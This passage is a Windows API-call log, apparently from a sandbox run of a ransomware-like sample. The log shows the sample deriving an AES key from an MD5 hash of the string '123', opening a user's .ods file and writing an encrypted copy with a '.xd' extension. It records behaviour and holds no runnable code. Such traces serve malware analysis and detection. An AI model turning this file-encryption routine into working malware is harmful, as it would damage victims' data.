[0072.592] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.592] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.592] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.592] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.592] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0072.592] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0072.593] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0072.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0072.593] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0072.593] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aac48) returned 1 [0072.594] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.594] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.594] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0072.594] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.594] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.594] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.594] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.594] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.594] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.594] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.594] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.594] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.594] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0072.594] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.594] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.595] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.595] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.595] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.595] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.595] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.595] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.595] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.595] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.595] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.595] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.595] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.595] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.595] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.595] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.595] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.595] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.595] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0072.596] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0072.596] CryptCreateHash (in: hProv=0x17aac48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0072.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.596] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0072.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.596] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.596] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.596] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0072.597] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0072.597] CryptHashData (hHash=0x164c770, pbData=0x1629410, dwDataLen=0x3, dwFlags=0x1) returned 1 [0072.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.597] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.597] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.597] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.597] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.597] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216c0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0072.597] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0072.597] CryptDeriveKey (in: hProv=0x17aac48, Algid=0x6610, hBaseData=0x164c770, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c370) returned 1 [0072.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.597] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.597] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0072.598] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0072.598] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0072.598] CryptDestroyHash (hHash=0x164c770) returned 1 [0072.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.598] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\78xsbw8pexi.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0072.598] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.598] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0072.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.599] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.599] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.599] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp")) returned 0x10 [0072.599] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\78xsbw8pexi.ods.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0072.601] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.601] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.601] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.601] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.603] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0072.603] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xf718, lpOverlapped=0x0) returned 1 [0072.631] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0072.634] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.634] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.634] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.634] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0072.636] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.636] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.636] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0072.636] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.636] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0072.636] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.637] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.637] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.637] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0072.637] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0072.637] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0072.637] CryptGetKeyParam (in: hKey=0x164c370, dwParam=0x7, pbData=0x16293f0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16293f0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0072.637] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.637] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.637] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.637] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.637] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.637] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.637] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.638] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.638] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.638] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.638] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.638] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.638] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.638] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.638] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.638] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.638] 